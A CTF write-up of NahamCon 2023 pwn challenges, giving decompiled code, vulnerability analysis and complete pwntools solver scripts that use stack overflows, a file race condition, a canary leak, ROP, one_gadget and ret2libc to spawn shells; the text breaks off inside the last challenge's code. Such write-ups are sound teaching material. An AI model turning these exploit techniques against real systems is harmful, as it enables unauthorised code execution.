[đź““] Writeup - NahamCon CTF 2023 PWN

Terbit pada tanggal 19 Juni 2023

Ditulis oleh: Vaints

Last week, I played in NahamCON CTF with SKSD and we got fourth place (yayyy). Luckily, I managed to solve all the PWN challenges. Although I struggled while working on the last challenge (web app firewall). Thanks to the organizer for organizing such an amazing event.

Open Sesame

Challenge Description

Author: @JohnHammond#6971

Something about forty thieves or something? I don't know, they must have had some secret incantation to get the gold!

We were given a source code and a binary, as can be seen below:

Source Code (open_sesame.c)
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define SECRET_PASS "OpenSesame!!!"

typedef enum {no, yes} Bool;

void flushBuffers() {
    fflush(NULL);
}

void flag()
{  
    system("/bin/cat flag.txt");
    flushBuffers();
}

Bool isPasswordCorrect(char *input)
{
    return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0) ? yes : no;
}

void caveOfGold()
{
    Bool caveCanOpen = no;
    char inputPass[256];
    
    puts("BEHOLD THE CAVE OF GOLD\n");

    puts("What is the magic enchantment that opens the mouth of the cave?");
    flushBuffers();
    
    scanf("%s", inputPass);

    if (caveCanOpen == no)
    {
        puts("Sorry, the cave will not open right now!");
        flushBuffers();
        return;
    }

    if (isPasswordCorrect(inputPass) == yes)
    {
        puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:");
        flag();
    }
    else
    {
        puts("ERROR, INCORRECT PASSWORD!");
        flushBuffers();
    }
}

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    caveOfGold();

    return 0;
}

In caveOfGold() function program will ask for the user to input a buffer that will be stored into the inputPass variable using scanf("%s") functions. The format of "%s" for scanf can lead to Buffer Overflow because it doesn't do boundaries check. There's also a function called flag() for printing a flag. But let's see the information for the binary given first:

Binary Information:

Even if there's no stack canary, there's still, mitigation such as a PIE that prevents us to do ROP to the flag() function, so let's try the other way (the intended way). Still, in the caveOfGold() function, there's a code that will call the flag() function if the inputPass variable equals the "OpenSesame!!!" strings. And before that, we need to overwrite the variable caveCanOpen to 1, to bypass the check if caveCanOpen equals 0.

Let's find the offset to overwriting the variable caveCanOpen. Our input (the variable inputPass) stored at $rbp-0x110:

And caveCanOpen stored at $rbp-0x4:

The offset:

0x110 - 0x4 = 268
or
272 - 4 = 268

So, for overwriting the caveCanOpen variable, we need 268 bytes of padding then pass any value except 0 (I'm gonna use byte 1 or True). And since there is a check for user input being equal to the string "OpenSesame!!!", we need to add that string at the beginning of the payload.

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/open_sesame"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "challenge.nahamcon.com", 32743
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][0]
            cmd = choosen_gdb + """
            
            """
            gdb.attach(io, gdbscript=cmd)
    
    p = b""
    p += b"OpenSesame!!!".ljust(268, b"\x00")
    p += p32(1)
    io.sendline(p)

    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        # libc = ELF("___")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        # libc = ELF("___")
    exploit(io, libc)

Flag: flag{85605e34d3d2623866c57843a0d2c4da}

nahmnahmnahm

Challenge Description:

Me hungry for files!

For your convenience, pwntools, nano and vim are installed on this instance.

Here's the binary Information:

Decompiled Binary
void __cdecl winning_function()
{
  char contents[256]; // [rsp+0h] [rbp-110h] BYREF
  FILE *f; // [rsp+108h] [rbp-8h]

  puts("Welcome to the winning function!");
  f = fopen("flag", "r");
  fread(contents, 1uLL, 0x100uLL, f);
  puts(contents);
  fclose(f);
}

void __cdecl vuln(char *filename)
{
  char buffer[80]; // [rsp+10h] [rbp-60h] BYREF
  FILE *f; // [rsp+68h] [rbp-8h]

  f = fopen(filename, "r");
  if ( f )
  {
    fread(buffer, 1uLL, 0x1000uLL, f);
    printf("%s", buffer);
  }
  else
  {
    perror("fopen");
  }
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  stat st; // [rsp+10h] [rbp-120h] BYREF
  char filename[128]; // [rsp+A0h] [rbp-90h] BYREF
  char *strstrret; // [rsp+120h] [rbp-10h]
  int retval; // [rsp+12Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  memset(filename, 0, sizeof(filename));
  strstrret = 0LL;
  retval = 0;
  printf("Enter file: ");
  fgets(filename, 127, stdin);
  filename[strcspn(filename, "\n")] = 0;
  strstrret = strstr(filename, "flag");
  if ( strstrret )
  {
    perror("filename contains flag");
    return -1;
  }
  else
  {
    retval = lstat(filename, &st);
    if ( retval == -1 )
    {
      perror("stat");
    }
    else if ( (st.st_mode & 0xF000) == 40960 )
    {
      perror("is_symlink");
      return -1;
    }
    else if ( st.st_size <= 80 )
    {
      puts("Press enter to continue:");
      getchar();
      vuln(filename);
    }
    else
    {
      perror("File size");
      return -1;
    }
  }
  return retval;
}

As you can see, there's a function called winning_function() and vuln(). But let's focus on the main() function first. In the main() function program will ask for the user to input a filename. The filename can't contain a "flag" string in it. Then, the program will do some checks, like if the file is a symbolic link file or not and there is a check to see if the content size of the file is approximately greater than 80 or not if is less than 80 bytes, it will pass the filename to the vuln() function as its argument.

In the vuln() function, the program reads the content of the file in the variable filename using the fopen() function, with a maximum data reading size of 4096 bytes (0x1000 bytes). Then, it stores it in the variable buf, which can only hold data up to 80 bytes. This causes a buffer overflow vulnerability that can be exploited to call the winning_function() using ROP (Return-Oriented Programming).

âť“ But, there's a size check in the main() function?

That's the actual problem, the programs only perform a check in the main() function and it will be "paused" because the program wait for the user to insert any character using the getc() function. It will cause a new vulnerability called Race Condition. The plan is to create an empty file and input the name of the new file as input for the program, when the program is idle (because it waits for the user to input any character), we write our ROP payload (for calling the winning_function()) inside the file that has been created before. After that, input any character to the program, so the program will continue and call the vuln() function, and it will lead us to winning_function() because of the buffer overflow vulnerabilities.

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/nahmnahmnahm"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "localhost", 1337
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][0]
            cmd = choosen_gdb + """
            b *vuln+50
            b *main+0x1c2
            """
            gdb.attach(io, gdbscript=cmd)
    
    RIP_OFFSET = cyclic_find(0x61)
    p = b"\x00"
    f = open("./payload", "wb")
    f.write(p) # create empty / small size file
    f.close() 

    io.sendlineafter(b": ", b"./payload")

    p = b""
    p += b"\x00"*(0x70-0x8)
    p += p64(elf.search(asm("ret")).__next__())
    p += p64(elf.symbols["winning_function"])
    f = open("./payload", "wb")
    f.write(p) # write the payload inside the previous file (Race Condition)
    f.close() 

    io.sendlineafter(b"Press enter to continue:", b"A") # send any bytes 

    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        # libc = ELF("___")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        # libc = ELF("___")
    exploit(io, libc)

Or you can do it by yourself, here's the encoded payload:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaEEAAAAAAAJYS
QAAAAAAA

Login to the server with the given SSH credentials, and create a new empty file, then input the namefile:

Create a new ssh session using another terminal tab, then decode the base64 encoded ROP payload above and write it into the file that has been created before:

Then press ENTER in the program, so the program will execute the ROP payload and call the winning_function() function.

Flag: flag{d41d8cd98f00b204e9800998ecf8427e}

Weird Cookie

Challenge Description:

Author: @M_alpha#3534

Something's a little off about this stack cookie...

We're given a binary and a libc file, here's some information about those files:

*Since my virtual machine has a different version of libc compared to the provided libc version, I patched the given binary first before debugging it.

patchelf --replace-needed libc.so.6 libc-2.27.so weird_cookie
patchelf --set-interpreter ld-2.27.so weird_cookie
patchelf --set-rpath . weird_cookie

Let's take a look at the code below

Decompiled Binary
void setup()
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  setup();
  v5 = (unsigned __int64)&printf ^ 0x123456789ABCDEF1LL;
  saved_canary = (unsigned __int64)&printf ^ 0x123456789ABCDEF1LL;
  memset(s, 0, sizeof(s));
  puts("Do you think you can overflow me?");
  read(0, s, 0x40uLL);
  puts(s);
  memset(s, 0, sizeof(s));
  puts("Are you sure you overflowed it right? Try again.");
  read(0, s, 0x40uLL);
  if ( v5 != saved_canary )
  {
    puts("Nope. :(");
    exit(0);
  }
  return 0;
}

Based on the decompiled code above. In the main() function, the program will XOR the address of libc printf() function with 0x123456789ABCDEF1, then store it inside the v5 variable and global variable saved_canary.

Next, the program will ask for input from the user that will be stored inside the s variable using the read() function with 0x40 bytes (64 bytes) as the maximum byte that the user can input (It will cause a Buffer Overflow vulnerabilities since the s variable only can contain 40 bytes). Then the s variable will be printed using the puts() function. Since the read() function doesn't do any string termination (like gets() which put a null byte at the end of the string or scanf() which put a null byte and a newline byte at the of the string), it will cause some data to get leaked.

My idea is to leak the XOR-ed libc printf() address, from the v5 variable, then perform ret2libc technique. But since the buffer overflow size is not large enough, we can only overwrite the saved RIP in stack memory with only a single address.

I remember there is a tool that can help us spawn a shell, using just a single address, called one_gadget. Here is the output of using one_gadget with the provided libc:

One_gadget requires its constraint to be fulfilled. For example, the 0x4f432 offset, require memory that pointed on $rsp+0x40 should be zero or NULL, so it will run properly.

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/weird_cookie"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "challenge.nahamcon.com", 31746
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][0]
            cmd = choosen_gdb + """
            b *main+0x77
            b *main+0xbb
            """
            gdb.attach(io, gdbscript=cmd)
    
    RIP_OFFSET = cyclic_find(0x61)
    p = b""
    p += b"A"*(0x28)
    io.sendafter(b"?\n", p)
    io.recvuntil(p) # "AAAAA....A" (0x28 consecutives bytes of "A")

    STACK_CANARY = u64(io.recv(8).ljust(8, b"\x00")) # receive the xored libc printf address then adjust it.
    libc.address = (STACK_CANARY ^ 0x123456789ABCDEF1) - libc.symbols["printf"]
    print("STACK_CANARY             :", hex(STACK_CANARY))
    print("libc.address             :", hex(libc.address))

    """
    0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      rsp & 0xf == 0
      rcx == NULL

    0x4f432 execve("/bin/sh", rsp+0x40, environ)
    constraints:
      [rsp+0x40] == NULL

    0x10a41c execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    """

    p = b""
    p += b"\x00"*(0x28)
    p +=p64(STACK_CANARY)
    p +=p64(0xdeadbeef) 
    p +=p64(libc.address + 0x4f432) # one gadget
    
    io.sendafter(b".\n", p)
    print("len", len(p))

    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        libc = ELF("libc-2.27.so")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        libc = ELF("libc-2.27.so")
    exploit(io, libc)

Flag: flag{e87923d7cd36a8580d0cf78656d457c6}

All Patched Up

Challenge Description:

Author: @M_alpha#3534

Do you really know how to ret2libc?

We're given a binary and a libc. Here's some information about those files.

Decompiled Binary
void setup()
{
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[512]; // [rsp+0h] [rbp-200h] BYREF

  write(1, &unk_402004, 2uLL);
  read(0, buf, 0x400uLL);
  return 0;
}

The program is quite straightforward, it prints the string "> " (&unk_402004) using the write() function. Then receive the input from the user using theread() function up to 0x400 bytes (1024 bytes), which will cause Buffer Overflow vulnerability. Let’s check what ret gadget this binary has using ROPgadget (you also can you ropper). I didn’t see any useful function except this ret gadget:

$> ROPgadget --bin ./all_patched_up
...
...
0x0000000000401254 : mov rdi, 1 ; ret
...
...

After doing some debugging

I realized the program doesn't change the rsi and rdx register after calling the read() function, so I will use this to do a leak using the write() function by combining the mov rdi, 1 gadget. The program will leak a total of 1024 bytes (0x400 bytes is a value of the 'rdx' register) starting from the address pointed by the 'rsi' register.

Breakpoint *main+68

I found an interpreter address (ld file) at +0x02a0 (offset) from rsi register, but sadly it has a different address from the libc address (it's impossible to find the exact offset since it always change every runtime). So I decided to take a look, what gadgets can be used in the interpreter file. Here's some usefull gadget that I found:

ROPgadget --bin ./ld-2.31.so
0x00000000000011b2 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000002518 : pop rdi ; ret
0x00000000000097c8 : pop rsi ; ret
0x000000000001d3fe : mov qword ptr [rdi], rdx ; ret
0x0000000000001cbe : syscall

Even though, there's no "/bin/sh" string inside the interpreter file, but we can write it using the mov qword ptr [rdi], rdx gadget that we found. The rest is quite straightforward, we need to perform ret2syscall for spawning shell by calling sys_execve('/bin/sh', NULL, NULL).

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/all_patched_up"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "challenge.nahamcon.com", 30354
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null, ld=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][2]
            cmd = choosen_gdb + """
            b  *main+0x44
            """
            gdb.attach(io, gdbscript=cmd)
    
    RIP_OFFSET = cyclic_find(0x66616166)

    MOV_RDI_1 = 0x0000000000401254 # : mov rdi, 1 ; ret
    
    p = b""
    p += b"A"*(RIP_OFFSET)
    p += p64(MOV_RDI_1)
    p += p64(elf.symbols["write"])
    p += p64(elf.symbols["main"])
    io.sendafter(b"> ", p)
    sleep(0.1)

    print(io.recv(0x2a0)) # +0x02a0 from rsi
    LEAKED_LD = u64(io.recv(8))
    ld.address = LEAKED_LD - 0x2f190 # ld.so base address
    print("LEAKED_LD                :", hex(LEAKED_LD))
    print("ld.address               :", hex(ld.address))
    
    pop_rax_rdx_rbx = ld.address + 0x00000000000011b2 # : pop rax ; pop rdx ; pop rbx ; ret
    pop_rdi = ld.address + 0x0000000000002518 # : pop rdi ; ret
    pop_rsi = ld.address + 0x00000000000097c8 # : pop rsi ; ret
    mov_qwordptr_rdi_rdx = ld.address + 0x000000000001d3fe # : mov qword ptr [rdi], rdx ; ret
    syscall = ld.address + 0x0000000000001cbe # : syscall

    p = b""
    p += b"A"*(RIP_OFFSET)

    # === write "/bin/sh" into bss 
    p += p64(pop_rdi)
    p += p64(elf.bss(0x200))

    p += p64(pop_rax_rdx_rbx)
    p += p64(0)
    p += b"/bin/sh\x00" # make sure it's 8 byte
    p += p64(0)
    p += p64(mov_qwordptr_rdi_rdx)

    # === ret2syscall, spawning shell by calling sys_execve("/bin/sh", NULL, NULL)
    p += p64(pop_rdi)       # We already point it to the bss before (so it's kinda useless)
    p += p64(elf.bss(0x200))# address where the "/bin/sh" string stored

    p += p64(pop_rsi)
    p += p64(0)             # 2nd argument, NULL

    p += p64(pop_rax_rdx_rbx)
    p += p64(0x3b)          # sys_execve
    p += p64(0)             # 3rd argument, NULL
    p += p64(0xdeadbeef)    # dummy (because we doesn't need to set the rbx)

    p += p64(syscall) # sys_execve("/bin/sh", NULL, NULL)

    io.send(p)
    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        # libc = ELF("libc-2.31.so")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        # libc = ELF("libc-2.31.so")
        # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    ld = ELF("ld-2.31.so")

    exploit(io, libc, ld)

Flag: flag{499c6288c77f297f4fd87db8e442e3f0}

Oboe

Challenge Description:

Author: @congon4tor#2334

Fun fact, my favorite instrument is the OBOe! Oh, and I made this cool C program to create URLs. Isn't it cool? Anyway, I'm going to go back to playing the oboe!

We're given a binary with the following information.

Decompiled Binary
int __cdecl getInput(int a1)
{
  int result; // eax
  char v2; // [esp+Bh] [ebp-Dh]
  int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; i <= 63; ++i )
  {
    v2 = getchar();
    if ( v2 == 10 || v2 == -1 )
      break;
    *(_BYTE *)(a1 + i) = v2;
  }
  result = i + a1;
  *(_BYTE *)(i + a1) = 0;
  if ( i > 63 )
  {
    do
      result = getchar();
    while ( (_BYTE)result != 10 && (_BYTE)result != 0xFF );
  }
  return result;
}

int build()
{
  char v1[64]; // [esp+0h] [ebp-1C8h] BYREF
  char v2[64]; // [esp+40h] [ebp-188h] BYREF
  char v3[64]; // [esp+80h] [ebp-148h] BYREF
  char s[264]; // [esp+C0h] [ebp-108h] BYREF

  memset(s, 0, 0x100u);
  puts("Insert the protocol:");
  getInput((int)v1);
  puts("Insert the domain:");
  getInput((int)v2);
  puts("Insert the path:");
  getInput((int)v3);
  strcat(s, v1);
  *(_DWORD *)&s[strlen(s)] = '//:';
  strcat(s, v2);
  *(_WORD *)&s[strlen(s)] = '/';
  strcat(s, v3);
  puts("Result:");
  return puts(s);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+1h] [ebp-9h] BYREF
  int *p_argc; // [esp+2h] [ebp-8h]

  p_argc = &argc;
  puts("Welcome to the URL builder");
  v4 = 121;
  while ( v4 == 121 || v4 == 89 )
  {
    build();
    puts("Build another URL? [y/n]");
    __isoc99_scanf("%c", &v4);
    getchar();
  }
  puts("Thanks for using our tool!");
  return 0;
}

Inside the main() function, this program will do a looping until a user inputs a character other than 'Y' or 'y'. Within the loop, the program will call the vuln() function. In the vuln() function, the program prompts the user to enter 3 data using the getInput() function. Due to the input length check in the getInput() function, the user can input a maximum of 64 bytes, which has the same size as the variables v1, v2 and v3. Then, the program append those 3 variables into the s variable.

In working on this challenge, I didn't want to spend too much time thinking, so I tried to fill in variables v1 with "A" and v2 with "B" As for variable v3, I filled it with a de Bruijn sequence using a cyclic pattern of 56 bytes. As the result, I managed to overwrite the eip register:

I believe it happened because when the program called for strlen(v1) but we already filled the v1 and v2 variables, and also stored some data inside the v3 variable, that function will end giving the size of v1 + v2 + v3 = 64 + 64 + 56 = 184 (because the strlen() function will terminate the size counting when it found null byte).

My idea to exploit this challenge is to do buffer overflow and then perform the ret2libc technique.

Solver Script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from os import path
import sys

# ==========================[ Information
DIR = path.dirname(path.abspath(__file__))
EXECUTABLE = "/oboe"
TARGET = DIR + EXECUTABLE 
HOST, PORT = "challenge.nahamcon.com", 30010
REMOTE, LOCAL = False, False

# ==========================[ Tools
elf = ELF(TARGET)
elfROP = ROP(elf)

# ==========================[ Configuration
context.update(
    arch=["i386", "amd64", "aarch64"][1],
    endian="little",
    os="linux",
    log_level = ['debug', 'info', 'warn'][2],
    terminal = ['tmux', 'split-window', '-h'],
)

# ==========================[ Exploit

def exploit(io, libc=null):
    if LOCAL==True:
        #raw_input("Fire GDB!")
        if len(sys.argv) > 1 and sys.argv[1] == "d":
            choosen_gdb = [
                "source /home/mydata/tools/gdb/gdb-pwndbg/gdbinit.py",     # 0 - pwndbg
                "source /home/mydata/tools/gdb/gdb-peda/peda.py",          # 1 - peda
                "source /home/mydata/tools/gdb/gdb-gef/.gdbinit-gef.py"    # 2 - gef
                ][0]
            cmd = choosen_gdb + """
            b *build+0x4b
            b *build+0x6f
            b *build+0x93
            b *build+0x166
            """
            gdb.attach(io, gdbscript=cmd)
    
    p = b""
    p += b"A"*64
    io.sendlineafter(b":\n", p)

    p = b""
    p += b"B"*64
    io.sendlineafter(b":\n", p)

    EIP_OFFSET = cyclic_find(0x66616161)   # from the debugging earlier
    p = b""
    p += b"C"*(EIP_OFFSET)
    p += p32(elf.symbols["puts"])
    p += p32(elf.symbols["main"])
    p += p32(elf.got["puts"])
    p = p.ljust(56)
    io.sendlineafter(b":\n", p)
    io.recvuntil(b"\n")
    io.recvuntil(b"\n")

    LEAKED_LIBC = u32(io.recv(4))
    libc.address = LEAKED_LIBC - libc.symbols["puts"]
    print("LEAKED_LIBC                  :", hex(LEAKED_LIBC))
    print("libc.address                 :", hex(libc.address))


    # === ret2libc, call system("/bin/sh")
    p = b""
    p += b"A"*64
    io.sendlineafter(b":\n", p)

    p = b""
    p += b"B"*64
    io.sendlineafter(b":\n", p)

    EIP_OFFSET = cyclic_find(0x66616161)   
    p = b""
    p += b"C"*(EIP_OFFSET)
    p += p32(libc.symbols["system"])
    p += p32(0xdeadbeef)
    p += p32(libc.search(b"/bin/sh").__next__())
    p = p.ljust(56)
    io.sendlineafter(b":\n", p)

    io.interactive()

if __name__ == "__main__":
    io, libc = null, null

    if args.REMOTE:
        REMOTE = True
        io = remote(HOST, PORT)
        libc = ELF("libc6-i386_2.27-3ubuntu1.6_amd64.so")
        # libc = ELF("___")
        
    else:
        LOCAL = True
        io = process(
            [TARGET, ],
            env={
            #     "LD_PRELOAD":DIR+"/___",
            #     "LD_LIBRARY_PATH":DIR+"/___",
            },
        )
        libc = ELF("/lib/i386-linux-gnu/libc.so.6")
    exploit(io, libc)

Flag: flag{a9e49be5177047784b9f7e3a5bf1d864}

Limitations

Description Challenge:

Author: @WittsEnd2#9274

I am trying to run a program, but I am super restricted ...

Here's some information about the binary given:

Decompiled Binary
void __cdecl Setup()
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
}

void __cdecl menu()
{
  puts("1) Create Memory");
  puts("2) Get Debug Informationn");
  puts("3) Execute Code");
  puts("4) Exit");
}

void *__cdecl CreateMemory(size_t size, int permissions)
{
  void *ret; // [rsp+18h] [rbp-8h]

  ret = mmap(0LL, (size + 4095) & 0xFFFFFFFFFFFFF000LL, permissions | 1u, 34, -1, 0LL);
  if ( ret == (void *)-1LL )
    perror("mmap");
  return ret;
}

void __cdecl ProtectProgram()
{
  int ret; // [rsp+4h] [rbp-Ch]
  int reta; // [rsp+4h] [rbp-Ch]
  int retb; // [rsp+4h] [rbp-Ch]
  int retc; // [rsp+4h] [rbp-Ch]
  int retd; // [rsp+4h] [rbp-Ch]
  int rete; // [rsp+4h] [rbp-Ch]
  int retf; // [rsp+4h] [rbp-Ch]
  int retg; // [rsp+4h] [rbp-Ch]
  int reth; // [rsp+4h] [rbp-Ch]
  int reti; // [rsp+4h] [rbp-Ch]
  int retj; // [rsp+4h] [rbp-Ch]
  int retk; // [rsp+4h] [rbp-Ch]
  int retl; // [rsp+4h] [rbp-Ch]
  int retm; // [rsp+4h] [rbp-Ch]
  int retn; // [rsp+4h] [rbp-Ch]
  int reto; // [rsp+4h] [rbp-Ch]
  int retp; // [rsp+4h] [rbp-Ch]
  int retq; // [rsp+4h] [rbp-Ch]
  int retr; // [rsp+4h] [rbp-Ch]
  int rets; // [rsp+4h] [rbp-Ch]
  scmp_filter_ctx ctx; // [rsp+8h] [rbp-8h]

  ctx = (scmp_filter_ctx)seccomp_init(0LL);
  ret = seccomp_rule_add(ctx, 2147418112LL, 4LL, 0LL);
  reta = seccomp_rule_add(ctx, 2147418112LL, 5LL, 0LL) | ret;
  retb = seccomp_rule_add(ctx, 2147418112LL, 6LL, 0LL) | reta;
  retc = seccomp_rule_add(ctx, 2147418112LL, 8LL, 0LL) | retb;
  retd = seccomp_rule_add(ctx, 2147418112LL, 10LL, 0LL) | retc;
  rete = seccomp_rule_add(ctx, 2147418112LL, 12LL, 0LL) | retd;
  retf = seccomp_rule_add(ctx, 2147418112LL, 21LL, 0LL) | rete;
  retg = seccomp_rule_add(ctx, 2147418112LL, 24LL, 0LL) | retf;
  reth = seccomp_rule_add(ctx, 2147418112LL, 32LL, 0LL) | retg;
  reti = seccomp_rule_add(ctx, 2147418112LL, 33LL, 0LL) | reth;
  retj = seccomp_rule_add(ctx, 2147418112LL, 56LL, 0LL) | reti;
  retk = seccomp_rule_add(ctx, 2147418112LL, 57LL, 0LL) | retj;
  retl = seccomp_rule_add(ctx, 2147418112LL, 58LL, 0LL) | retk;
  retm = seccomp_rule_add(ctx, 2147418112LL, 60LL, 0LL) | retl;
  retn = seccomp_rule_add(ctx, 2147418112LL, 62LL, 0LL) | retm;
  reto = seccomp_rule_add(ctx, 2147418112LL, 101LL, 0LL) | retn;
  retp = seccomp_rule_add(ctx, 2147418112LL, 96LL, 0LL) | reto;
  retq = seccomp_rule_add(ctx, 2147418112LL, 102LL, 0LL) | retp;
  retr = seccomp_rule_add(ctx, 2147418112LL, 104LL, 0LL) | retq;
  rets = seccomp_rule_add(ctx, 2147418112LL, 231LL, 0LL) | retr;
  if ( (unsigned int)seccomp_load(ctx) | rets )
  {
    perror("seccomp");
    exit(1);
  }
  seccomp_release(ctx);
}

void __cdecl EnableDebugMode()
{
  debug = 1;
}

void __cdecl DisableDebug()
{
  debug = 0;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int permissions; // [rsp+0h] [rbp-70h] BYREF
  int cmd; // [rsp+4h] [rbp-6Ch] BYREF
  int pid; // [rsp+8h] [rbp-68h]
  int cmp; // [rsp+Ch] [rbp-64h]
  size_t memory_size; // [rsp+10h] [rbp-60h] BYREF
  uint64_t location; // [rsp+18h] [rbp-58h] BYREF
  char *buffer; // [rsp+20h] [rbp-50h]
  void *memlocation; // [rsp+28h] [rbp-48h]
  void (*func_ptr)(...); // [rsp+30h] [rbp-40h]
  char *newMem; // [rsp+38h] [rbp-38h]
  char cmd_str[11]; // [rsp+44h] [rbp-2Ch] BYREF
  char memory_size_str[11]; // [rsp+4Fh] [rbp-21h] BYREF
  char test_buffer[14]; // [rsp+5Ah] [rbp-16h] BYREF
  unsigned __int64 v17; // [rsp+68h] [rbp-8h]

  v17 = __readfsqword(0x28u);
  buffer = 0LL;
  permissions = 0;
  memlocation = 0LL;
  cmd = 0;
  cmp = 0;
  memory_size = 0LL;
  location = 0LL;
  func_ptr = 0LL;
  Setup();
